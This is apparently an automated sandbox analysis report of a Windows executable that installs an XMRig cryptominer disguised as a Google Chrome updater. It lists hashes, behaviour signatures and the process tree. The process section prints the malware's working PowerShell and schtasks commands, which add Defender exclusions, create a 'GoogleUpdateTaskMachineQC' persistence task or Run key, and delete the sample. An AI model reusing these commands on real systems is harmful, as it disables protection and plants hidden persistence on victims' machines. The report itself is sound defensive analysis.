Resubmissions
04-04-2023 20:30
230404-zadedabg31 1031-03-2023 23:18
230331-3aav2aec79 1031-03-2023 23:17
230331-29745sec77 1031-03-2023 21:58
230331-1vp5cadg64 10Analysis
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max time kernel
1800s -
max time network
1789s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
31-03-2023 23:17
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
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Target
qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 1320 created 1284 1320 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1320 created 1284 1320 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1320 created 1284 1320 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1320 created 1284 1320 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1240 created 1284 1240 updater.exe Explorer.EXE PID 1240 created 1284 1240 updater.exe Explorer.EXE PID 1240 created 1284 1240 updater.exe Explorer.EXE PID 1240 created 1284 1240 updater.exe Explorer.EXE PID 1616 created 1284 1616 conhost.exe Explorer.EXE PID 1240 created 1284 1240 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/852-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-140-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-142-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-144-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-152-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-154-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-160-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/852-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 556 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1240 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 620 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/852-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-142-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-144-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-152-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-154-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-160-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/852-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1240 set thread context of 1616 1240 updater.exe conhost.exe PID 1240 set thread context of 852 1240 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 607fa0e53764d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1320 qM5GMXBk6hJE6Y5e.exe 1320 qM5GMXBk6hJE6Y5e.exe 1336 powershell.exe 1320 qM5GMXBk6hJE6Y5e.exe 1320 qM5GMXBk6hJE6Y5e.exe 764 powershell.exe 1320 qM5GMXBk6hJE6Y5e.exe 1320 qM5GMXBk6hJE6Y5e.exe 1320 qM5GMXBk6hJE6Y5e.exe 1320 qM5GMXBk6hJE6Y5e.exe 1624 powershell.exe 1240 updater.exe 1240 updater.exe 1452 powershell.exe 1240 updater.exe 1240 updater.exe 884 powershell.exe 1240 updater.exe 1240 updater.exe 1240 updater.exe 1240 updater.exe 1616 conhost.exe 1616 conhost.exe 1240 updater.exe 1240 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1336 powershell.exe Token: SeDebugPrivilege 764 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 1452 powershell.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeDebugPrivilege 1240 updater.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeSecurityPrivilege 536 WMIC.exe Token: SeTakeOwnershipPrivilege 536 WMIC.exe Token: SeLoadDriverPrivilege 536 WMIC.exe Token: SeSystemtimePrivilege 536 WMIC.exe Token: SeBackupPrivilege 536 WMIC.exe Token: SeRestorePrivilege 536 WMIC.exe Token: SeShutdownPrivilege 536 WMIC.exe Token: SeSystemEnvironmentPrivilege 536 WMIC.exe Token: SeUndockPrivilege 536 WMIC.exe Token: SeManageVolumePrivilege 536 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 536 WMIC.exe Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeSecurityPrivilege 536 WMIC.exe Token: SeTakeOwnershipPrivilege 536 WMIC.exe Token: SeLoadDriverPrivilege 536 WMIC.exe Token: SeSystemtimePrivilege 536 WMIC.exe Token: SeBackupPrivilege 536 WMIC.exe Token: SeRestorePrivilege 536 WMIC.exe Token: SeShutdownPrivilege 536 WMIC.exe Token: SeSystemEnvironmentPrivilege 536 WMIC.exe Token: SeUndockPrivilege 536 WMIC.exe Token: SeManageVolumePrivilege 536 WMIC.exe Token: SeLockMemoryPrivilege 852 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 764 wrote to memory of 852 764 powershell.exe schtasks.exe PID 764 wrote to memory of 852 764 powershell.exe schtasks.exe PID 764 wrote to memory of 852 764 powershell.exe schtasks.exe PID 556 wrote to memory of 1040 556 cmd.exe choice.exe PID 556 wrote to memory of 1040 556 cmd.exe choice.exe PID 556 wrote to memory of 1040 556 cmd.exe choice.exe PID 1624 wrote to memory of 2012 1624 powershell.exe schtasks.exe PID 1624 wrote to memory of 2012 1624 powershell.exe schtasks.exe PID 1624 wrote to memory of 2012 1624 powershell.exe schtasks.exe PID 620 wrote to memory of 1240 620 taskeng.exe updater.exe PID 620 wrote to memory of 1240 620 taskeng.exe updater.exe PID 620 wrote to memory of 1240 620 taskeng.exe updater.exe PID 884 wrote to memory of 2016 884 powershell.exe schtasks.exe PID 884 wrote to memory of 2016 884 powershell.exe schtasks.exe PID 884 wrote to memory of 2016 884 powershell.exe schtasks.exe PID 1240 wrote to memory of 1616 1240 updater.exe conhost.exe PID 1984 wrote to memory of 536 1984 cmd.exe WMIC.exe PID 1984 wrote to memory of 536 1984 cmd.exe WMIC.exe PID 1984 wrote to memory of 536 1984 cmd.exe WMIC.exe PID 1240 wrote to memory of 852 1240 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskeng.exetaskeng.exe {A6D7A432-A38E-4B4C-B8D4-C40871C49E9A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5483d8cc7fcb37c5b2ef05c676cbd9f24
SHA1b06c71e715e906f06f82fe680ba4e03e8adeed3d
SHA256a3fd50844437bbe9a0499aaa251e18e27dd396a76f40bb4e1225db1501107efc
SHA51208d02a9e5f49b952f5d99797446c43a661580227bb4def73643e221eb4d63dac3011e2d4c165a6b8cb76cb4087e00e970a19847309a210b2b2d99d91057f7f6e
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5483d8cc7fcb37c5b2ef05c676cbd9f24
SHA1b06c71e715e906f06f82fe680ba4e03e8adeed3d
SHA256a3fd50844437bbe9a0499aaa251e18e27dd396a76f40bb4e1225db1501107efc
SHA51208d02a9e5f49b952f5d99797446c43a661580227bb4def73643e221eb4d63dac3011e2d4c165a6b8cb76cb4087e00e970a19847309a210b2b2d99d91057f7f6e
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CPJGZTYK5VIMOB4NUJH3.tempFilesize
7KB
MD5483d8cc7fcb37c5b2ef05c676cbd9f24
SHA1b06c71e715e906f06f82fe680ba4e03e8adeed3d
SHA256a3fd50844437bbe9a0499aaa251e18e27dd396a76f40bb4e1225db1501107efc
SHA51208d02a9e5f49b952f5d99797446c43a661580227bb4def73643e221eb4d63dac3011e2d4c165a6b8cb76cb4087e00e970a19847309a210b2b2d99d91057f7f6e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/764-68-0x000000001B130000-0x000000001B412000-memory.dmpFilesize
2.9MB
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memory/764-69-0x0000000002320000-0x0000000002328000-memory.dmpFilesize
32KB
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memory/764-70-0x00000000026F4000-0x00000000026F7000-memory.dmpFilesize
12KB
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memory/764-71-0x00000000026FB000-0x0000000002732000-memory.dmpFilesize
220KB
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memory/852-132-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-136-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-166-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-164-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-162-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-160-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-158-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-156-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-154-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-152-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-150-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-148-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-146-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-144-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-142-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-140-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-138-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-134-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-102-0x0000000000040000-0x0000000000060000-memory.dmpFilesize
128KB
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memory/852-103-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-105-0x0000000000460000-0x0000000000480000-memory.dmpFilesize
128KB
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memory/852-104-0x0000000000440000-0x0000000000460000-memory.dmpFilesize
128KB
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memory/852-130-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-107-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-109-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-111-0x0000000000460000-0x0000000000480000-memory.dmpFilesize
128KB
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memory/852-110-0x0000000000440000-0x0000000000460000-memory.dmpFilesize
128KB
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memory/852-112-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-114-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-128-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-118-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-120-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-122-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-124-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/852-126-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/884-93-0x00000000011DB000-0x0000000001212000-memory.dmpFilesize
220KB
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memory/884-91-0x00000000011D0000-0x0000000001250000-memory.dmpFilesize
512KB
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memory/884-92-0x00000000011D0000-0x0000000001250000-memory.dmpFilesize
512KB
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memory/1240-99-0x000000013FA10000-0x000000013FC21000-memory.dmpFilesize
2.1MB
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memory/1240-101-0x000000013FA10000-0x000000013FC21000-memory.dmpFilesize
2.1MB
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memory/1240-87-0x000000013FA10000-0x000000013FC21000-memory.dmpFilesize
2.1MB
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memory/1320-73-0x000000013FC40000-0x000000013FE51000-memory.dmpFilesize
2.1MB
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memory/1320-54-0x000000013FC40000-0x000000013FE51000-memory.dmpFilesize
2.1MB
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memory/1336-62-0x000000000231B000-0x0000000002352000-memory.dmpFilesize
220KB
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memory/1336-59-0x000000001B0A0000-0x000000001B382000-memory.dmpFilesize
2.9MB
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memory/1336-60-0x00000000022D0000-0x00000000022D8000-memory.dmpFilesize
32KB
